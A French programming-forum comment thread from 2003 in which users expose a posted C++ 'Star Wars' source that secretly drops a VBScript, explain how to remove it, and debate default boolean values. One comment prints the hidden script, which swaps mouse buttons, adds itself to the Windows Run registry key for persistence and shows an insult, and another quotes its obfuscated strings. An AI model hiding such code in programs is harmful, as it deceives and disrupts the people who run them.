cs_AmK
Messages postés368Date d'inscriptionjeudi 13 mars 2003StatutMembreDernière intervention27 janvier 20101 15 nov. 2003 à 11:53
muad lib contrairement à ce que tu dis , je ne me suis pas fait avoir ....
c'est juste que j'aime pas les petites merdes comme toi , tu n'as qu'a voir en bas de la page d'accueil de mon site le petit barratin en bas de la page d'accueil ! (http://www.amk-project.fr.st)
Funto66
Messages postés1267Date d'inscriptionmercredi 1 janvier 2003StatutMembreDernière intervention28 février 20074 15 nov. 2003 à 10:33
"Quand au booléen manquant tu devrais savoir qu'un bool est par défaut à true "
Pour vérifier ça, j'ai fait un petit script VBScript :
Dim i
If i=True Then
MsgBox "True"
Else
MsgBox "False"
End If
Eh bien, sans faillir une seule fois, il m'affiche "False" dans la boîte de dialogue, alors que je l'ai exécuté plein de fois...
Bon, sinon je retire mon accusation, la source est peut-être de toi, mais ça m'étonne que tu programmes en anglais (et avec des noms qui n'ont rien à voir avec ce que fait le programme, normal vu que le but est de cacher qu'il s'agit d'un "code malicieux", et encore pas trop méchant).
cs_Kirua
Messages postés3006Date d'inscriptiondimanche 14 avril 2002StatutMembreDernière intervention31 décembre 2008 14 nov. 2003 à 19:09
ah ok, c'est déclaré dans le prototype de la fonction avec bool param=true
comrpis ;-)
cs_djl
Messages postés3011Date d'inscriptionjeudi 26 septembre 2002StatutMembreDernière intervention27 novembre 20047 14 nov. 2003 à 18:45
Kirua ==> oui, quand tu declare une variable tu ne fait que reserver un espace, si tu affiche son contenu tu recupere n'importe quoi, essay avec un char[30] par ex!
sinon pour l'histoire du bool qui est par defaut a true, cela concerne le paramettre de SwapMouseButton qui pe etre appeler sans
GuyTina
Messages postés11Date d'inscriptionmercredi 22 octobre 2003StatutMembreDernière intervention27 septembre 2004 14 nov. 2003 à 18:11
Que dit le manuel!!!
Les variables logiques,qui peuvent prendre deux valeurs uniquement, true et false,sont de type bool.Les variables de type bool espriment les résultats de tests pouvant etre vrais ou faux,par exemple si une valeur est égale à une autre.Naturellement,vous pouvez également les initier lors de leur déclaration.
cordialement
cs_Kirua
Messages postés3006Date d'inscriptiondimanche 14 avril 2002StatutMembreDernière intervention31 décembre 2008 14 nov. 2003 à 16:59
AAAAAAAAAAAAARG et avec 10 000 booléens j'ai 9991 false et 9 true !!!!!! faut VRAIMENT ls initialiser dès le départ O_o
cs_Kirua
Messages postés3006Date d'inscriptiondimanche 14 avril 2002StatutMembreDernière intervention31 décembre 2008 14 nov. 2003 à 16:57
ah ben quand je compile ça:
#include
using namespace std;
int main(int argc, char *argv[])
{
bool *b = new bool[600];
cout << boolalpha;
int nbf = 0; //nombre de booléens à false
int nbt = 0; //et à true
for(int i = 0; i < 600; i++)
{
if(b[i]) nbt++;
else nbf++;
}
j'obtiens une GROSSE majorité de true!! 584 pour 14 false, je suis réellement étonné !!
tu avais donc très probablement raison, malgré le code précédent qui retournait bien false chez moi. en fait, je pense surtout que le "constructeur" de bool n'affecte pas de valeur par défaut, et donc la valeur dépend de ce qui était écrit à l'adresse mémoire utilisée.
cs_Kirua
Messages postés3006Date d'inscriptiondimanche 14 avril 2002StatutMembreDernière intervention31 décembre 2008 14 nov. 2003 à 16:38
#include
using namespace std;
int main(int argc, char *argv[])
{
bool b;
cout << boolalpha << b << endl;
system("PAUSE");
return 0;
}
et que lit-on ? false, donc un booléen est par défaut à false, comme je le pensais, à moins que ce soit différent en VBScript ?
cs_muad-dib
Messages postés103Date d'inscriptionlundi 9 avril 2001StatutMembreDernière intervention16 juillet 2008 14 nov. 2003 à 14:27
Primo j'appelle pas ça un virus ... secundo si le source n'est pas de moi il est de qui alors ?
Au cas où tu ne l'aurais pas vu wsc est un objet de type WScript.Shell, ce qui simule démarrer > exécuter
Tu peux t'amuser à faire touche windows + r et taper rundll32 user32,SwapMouseButton tu verras que ça marche..rundll32 permet d'utiliser des fonctions contenues dans les dlls windows, en l'occurrence user32.dll
Quand au booléen manquant tu devrais savoir qu'un bool est par défaut à true
Funto66
Messages postés1267Date d'inscriptionmercredi 1 janvier 2003StatutMembreDernière intervention28 février 20074 14 nov. 2003 à 10:55
Hmmm, encore un "virus" sur CppFrance, qui n'en est pas un vrai encore une fois (pas de propagation).
Ceci dit, même si je suis presque sûr que la source n'est pas de toi muad-dib, j'ai quand même appris que c'était possible d'appeler une fonction de l'API Win32 à partir de VBScript ( wsc.run("rundll32 user32,SwapMouseButton") ), mais je suis allé sur la MSDN et je vois :
"The SwapMouseButton function reverses or restores the meaning of the left and right mouse buttons.
BOOL SwapMouseButton(
BOOL fSwap // reverse or restore buttons
);
"
donc je me demande bien où est-ce que dans le script le paramètre fSwap est passé?
cs_Kirua
Messages postés3006Date d'inscriptiondimanche 14 avril 2002StatutMembreDernière intervention31 décembre 2008 14 nov. 2003 à 07:56
dis donc mon garçon, tu lui répliques qu'il a accepté la charte de bonne conduite, et toi, tu as bien accepté celle inhérente à tout qui poste un code source !! et il est bien mis: pas de virus. ahlala mon garçon, c'est bien beau l'argumentation, mais toi, t'es en dessous de tout.
cs_muad-dib
Messages postés103Date d'inscriptionlundi 9 avril 2001StatutMembreDernière intervention16 juillet 2008 14 nov. 2003 à 02:52
"la petite merde qui a programmé ce truc" ? lol je crois avoir tout de même contribué aux aspirations de ce site qui sont l'entraide et l'apprentissage en commun ... Pour simple exemple, GuyTina ne connaissait pas cette partie du registre de windows, il peut donc m'en être reconnaissant...
Mon petit AMK il ne faut dénigrer aucun des sources déposés sur ce site, tu as pourtant approuvé la charte de bonne conduite en ajoutant un commentaire, tu dois rester calme et courtois... rétracte un petit peu ton énervement
du fait que ce source t'ait vérolé contrairement à ce que tu dis (car oui tu as du te faire avoir toi aussi, tu n'emploierais pas de termes aussi chartiers sinon) et tire profit des bienfaits de la communauté ! vive la synergie ! vive le C !
cs_Kirua
Messages postés3006Date d'inscriptiondimanche 14 avril 2002StatutMembreDernière intervention31 décembre 2008 13 nov. 2003 à 17:28
en tt cas, il a foiré son coup ^^ pas que des idiots ici, bien joué les gars. (et les filles, je suppose qu'il y en a)
cs_AmK
Messages postés368Date d'inscriptionjeudi 13 mars 2003StatutMembreDernière intervention27 janvier 20101 13 nov. 2003 à 17:02
GiyTina ça peut arriver à tout le monde , meme le plus experimenté des programmeurs pourrait tomber dans ce piège !!! huh moi j'ai pas compilé parceque le code n'a rien avoir le titre , il est certain qu'il s'agissait d'un virus !!!
quant a la petite merde qui a programmé ce truc qu'il aille au diable !
cs_djl
Messages postés3011Date d'inscriptionjeudi 26 septembre 2002StatutMembreDernière intervention27 novembre 20047 13 nov. 2003 à 14:08
de rien,
et puis ca peu arriver a tout le monde!
moi ci ca me la pas fait, c'est juste parce que j'avais la fleme de le compiler!
en tout cas, c'est la premiere fois que je vois ce genre de petite blague sur le site, ca serait donc dommage de le quitter pour ca
GuyTina
Messages postés11Date d'inscriptionmercredi 22 octobre 2003StatutMembreDernière intervention27 septembre 2004 13 nov. 2003 à 13:46
Merci beaucoup "djl".
Grace à ton dépannage je n'ai plus la boite et en plus j'ai appris quelque chose :les fichier Windows.
Merci encore pour ce tut sur Windows car j'étais décidé à quitter le site,croyant avoir à faire à une bande de chenapants.
Je reste sur le site et je continue à charger tous les programmes car ils me donnent des exemples pour mon aprentissage du c++.
Tres Cordialement.
cs_djl
Messages postés3011Date d'inscriptionjeudi 26 septembre 2002StatutMembreDernière intervention27 novembre 20047 13 nov. 2003 à 13:26
salut,
le vbs s'est ajouter au demarrage de ton ordi, alors vu que tu l'avirer, a chaque demarrage ton ordi le cherche
pour le virer, fait demarrer==>executer tape regedit, ensuite, dans l'arborescence tu va dans
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
et tu vire la cle "alien"
GuyTina
Messages postés11Date d'inscriptionmercredi 22 octobre 2003StatutMembreDernière intervention27 septembre 2004 13 nov. 2003 à 13:16
Rebonjour.
Il est tres clair que je me suis fait avoir ,je n'ai pas regardé le code ,j'ai voulu voir directement le résultat.Apres 13 ans de programmation je n'ai pas eu les bons reflexes et je pense qu'il faut en tirer une bonne leçon pour l'avenir.Un code viral aurait été placé dans le programme!!!!!!!!!
J'attends de la part du petit farceur qu'il reponde à nos questions pertinantes...
GuyTina
Messages postés11Date d'inscriptionmercredi 22 octobre 2003StatutMembreDernière intervention27 septembre 2004 13 nov. 2003 à 13:04
Bonjour tout le monde.
J'ai supprimé le fichier vb mais j'ai toujours une fenetre qui me demande au demarrage de l'ordi "Imposiible de trouver...."
Comment SVP supprimer cette fenetre avant que je vienne botter les fesses du petit farceur?
Merci D'avance.
cs_djl
Messages postés3011Date d'inscriptionjeudi 26 septembre 2002StatutMembreDernière intervention27 novembre 20047 13 nov. 2003 à 12:55
aparement il camoufle ses chaines par un simple codage romain, voir *GeekInside
cs_AmK
Messages postés368Date d'inscriptionjeudi 13 mars 2003StatutMembreDernière intervention27 janvier 20101 13 nov. 2003 à 12:22
Quelle honte !!!
t niker hahahahahahahahaha, et aprés t'es content ? t'as fait quelque chose de bien ???
arf j'ai envie de vomir ...
Arkain
Messages postés31Date d'inscriptionjeudi 28 août 2003StatutMembreDernière intervention13 décembre 2003 13 nov. 2003 à 02:32
tssssssssssssssssk...Ce gars la est nul...on voit des dizaines de fois que ce truc est pas un truc a faire... LA prochaine fois camoufle dans des fonctions - voyantes.
Arkain
Messages postés31Date d'inscriptionjeudi 28 août 2003StatutMembreDernière intervention13 décembre 2003 13 nov. 2003 à 02:22
Pfffffffffff....Il utilise aucun moteur graphique, donc ce n'est pas un truc dans les étoiles.
ymca2003
Messages postés2070Date d'inscriptionmardi 22 avril 2003StatutMembreDernière intervention 3 juillet 20067 12 nov. 2003 à 23:25
En effet, c'est très très louche comme code.
cs_arachnid
Messages postés12Date d'inscriptionmercredi 28 mai 2003StatutMembreDernière intervention18 octobre 2004 12 nov. 2003 à 21:20
Ya un truc que G pas beucoup aprecié kan G compilé la source c'est Norton qui me di qu'il y a un "malicious script detected" sur le fichier c:alien.vbs. Alors je V voir le fichier et je l'ouvre avec le bloc-note et regardé le contenu :
Dim wsc
On Error Resume Next
Set wsc=CreateObject("WScript.Shell")
wsc.run("rundll32 user32,SwapMouseButton")
call wsc.RegWrite("HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunAlien","wscript c:Alien.vbs")
MsgBox("T niker")
regadez la derniere ligne......... Et lorsque l'on regade la source et le nom du fichier on voi bien que ca a rien avoir avec star wars.
cs_JediMaster
Messages postés91Date d'inscriptionlundi 19 mai 2003StatutMembreDernière intervention31 août 2004 12 nov. 2003 à 14:07
15 nov. 2003 à 11:53
c'est juste que j'aime pas les petites merdes comme toi , tu n'as qu'a voir en bas de la page d'accueil de mon site le petit barratin en bas de la page d'accueil ! (http://www.amk-project.fr.st)
15 nov. 2003 à 10:33
Pour vérifier ça, j'ai fait un petit script VBScript :
Dim i
If i=True Then
MsgBox "True"
Else
MsgBox "False"
End If
Eh bien, sans faillir une seule fois, il m'affiche "False" dans la boîte de dialogue, alors que je l'ai exécuté plein de fois...
Bon, sinon je retire mon accusation, la source est peut-être de toi, mais ça m'étonne que tu programmes en anglais (et avec des noms qui n'ont rien à voir avec ce que fait le programme, normal vu que le but est de cacher qu'il s'agit d'un "code malicieux", et encore pas trop méchant).
14 nov. 2003 à 19:09
comrpis ;-)
14 nov. 2003 à 18:45
sinon pour l'histoire du bool qui est par defaut a true, cela concerne le paramettre de SwapMouseButton qui pe etre appeler sans
14 nov. 2003 à 18:11
Les variables logiques,qui peuvent prendre deux valeurs uniquement, true et false,sont de type bool.Les variables de type bool espriment les résultats de tests pouvant etre vrais ou faux,par exemple si une valeur est égale à une autre.Naturellement,vous pouvez également les initier lors de leur déclaration.
cordialement
14 nov. 2003 à 16:59
14 nov. 2003 à 16:57
#include
using namespace std;
int main(int argc, char *argv[])
{
bool *b = new bool[600];
cout << boolalpha;
int nbf = 0; //nombre de booléens à false
int nbt = 0; //et à true
for(int i = 0; i < 600; i++)
{
if(b[i]) nbt++;
else nbf++;
}
delete [] b;
cout << "false: " << nbf << endl << "true: " << nbt << endl;
system("PAUSE");
return 0;
}
j'obtiens une GROSSE majorité de true!! 584 pour 14 false, je suis réellement étonné !!
tu avais donc très probablement raison, malgré le code précédent qui retournait bien false chez moi. en fait, je pense surtout que le "constructeur" de bool n'affecte pas de valeur par défaut, et donc la valeur dépend de ce qui était écrit à l'adresse mémoire utilisée.
14 nov. 2003 à 16:38
using namespace std;
int main(int argc, char *argv[])
{
bool b;
cout << boolalpha << b << endl;
system("PAUSE");
return 0;
}
et que lit-on ? false, donc un booléen est par défaut à false, comme je le pensais, à moins que ce soit différent en VBScript ?
14 nov. 2003 à 14:27
Au cas où tu ne l'aurais pas vu wsc est un objet de type WScript.Shell, ce qui simule démarrer > exécuter
Tu peux t'amuser à faire touche windows + r et taper rundll32 user32,SwapMouseButton tu verras que ça marche..rundll32 permet d'utiliser des fonctions contenues dans les dlls windows, en l'occurrence user32.dll
Quand au booléen manquant tu devrais savoir qu'un bool est par défaut à true
14 nov. 2003 à 10:55
Ceci dit, même si je suis presque sûr que la source n'est pas de toi muad-dib, j'ai quand même appris que c'était possible d'appeler une fonction de l'API Win32 à partir de VBScript ( wsc.run("rundll32 user32,SwapMouseButton") ), mais je suis allé sur la MSDN et je vois :
"The SwapMouseButton function reverses or restores the meaning of the left and right mouse buttons.
BOOL SwapMouseButton(
BOOL fSwap // reverse or restore buttons
);
"
donc je me demande bien où est-ce que dans le script le paramètre fSwap est passé?
14 nov. 2003 à 07:56
14 nov. 2003 à 02:52
Mon petit AMK il ne faut dénigrer aucun des sources déposés sur ce site, tu as pourtant approuvé la charte de bonne conduite en ajoutant un commentaire, tu dois rester calme et courtois... rétracte un petit peu ton énervement
du fait que ce source t'ait vérolé contrairement à ce que tu dis (car oui tu as du te faire avoir toi aussi, tu n'emploierais pas de termes aussi chartiers sinon) et tire profit des bienfaits de la communauté ! vive la synergie ! vive le C !
13 nov. 2003 à 17:28
13 nov. 2003 à 17:02
quant a la petite merde qui a programmé ce truc qu'il aille au diable !
13 nov. 2003 à 14:08
et puis ca peu arriver a tout le monde!
moi ci ca me la pas fait, c'est juste parce que j'avais la fleme de le compiler!
en tout cas, c'est la premiere fois que je vois ce genre de petite blague sur le site, ca serait donc dommage de le quitter pour ca
13 nov. 2003 à 13:46
Grace à ton dépannage je n'ai plus la boite et en plus j'ai appris quelque chose :les fichier Windows.
Merci encore pour ce tut sur Windows car j'étais décidé à quitter le site,croyant avoir à faire à une bande de chenapants.
Je reste sur le site et je continue à charger tous les programmes car ils me donnent des exemples pour mon aprentissage du c++.
Tres Cordialement.
13 nov. 2003 à 13:26
le vbs s'est ajouter au demarrage de ton ordi, alors vu que tu l'avirer, a chaque demarrage ton ordi le cherche
pour le virer, fait demarrer==>executer tape regedit, ensuite, dans l'arborescence tu va dans
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
et tu vire la cle "alien"
13 nov. 2003 à 13:16
Il est tres clair que je me suis fait avoir ,je n'ai pas regardé le code ,j'ai voulu voir directement le résultat.Apres 13 ans de programmation je n'ai pas eu les bons reflexes et je pense qu'il faut en tirer une bonne leçon pour l'avenir.Un code viral aurait été placé dans le programme!!!!!!!!!
J'attends de la part du petit farceur qu'il reponde à nos questions pertinantes...
13 nov. 2003 à 13:04
J'ai supprimé le fichier vb mais j'ai toujours une fenetre qui me demande au demarrage de l'ordi "Imposiible de trouver...."
Comment SVP supprimer cette fenetre avant que je vienne botter les fesses du petit farceur?
Merci D'avance.
13 nov. 2003 à 12:55
13 nov. 2003 à 12:22
t niker hahahahahahahahaha, et aprés t'es content ? t'as fait quelque chose de bien ???
arf j'ai envie de vomir ...
13 nov. 2003 à 02:32
13 nov. 2003 à 02:22
12 nov. 2003 à 23:25
12 nov. 2003 à 21:20
Dim wsc
On Error Resume Next
Set wsc=CreateObject("WScript.Shell")
wsc.run("rundll32 user32,SwapMouseButton")
call wsc.RegWrite("HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunAlien","wscript c:Alien.vbs")
MsgBox("T niker")
regadez la derniere ligne......... Et lorsque l'on regade la source et le nom du fichier on voi bien que ca a rien avoir avec star wars.
12 nov. 2003 à 14:07
ca char *alienName=GeekInside("c;^_Eqolv7?m");
ou encore ca const char *miam[6]=
{
"Djo#{xi",
"Oo"Hvwuy([o~zs/^vS?",
"Sfv#{xiDK{ol?r]qzvu?<7mj{<f<Kq?.ZEM",
"wte1vzt/*{ypyzBB1??y?IIDl'|Oj""?d~~T..JR",
"cbno$|yj6[orcwfu94[_Zovdh]\h|k`cikqiyvn}l~rS|T"?¢§?o«"£© ¬µ²o"·µ¶ªZ»z®OYµOO«¢ÆÀ¯.Á¿OÆ{?}ÓÐÁÑÉÑÖfÇYÂsÔÒÏÙsãÐâ's",
"MtiEs}.)\)xtwr?19"
};
en plus je vois pas quand t'ecris a l'ecran
12 nov. 2003 à 12:06
Sinon, les caractères chelous c'est normal ?
12 nov. 2003 à 07:56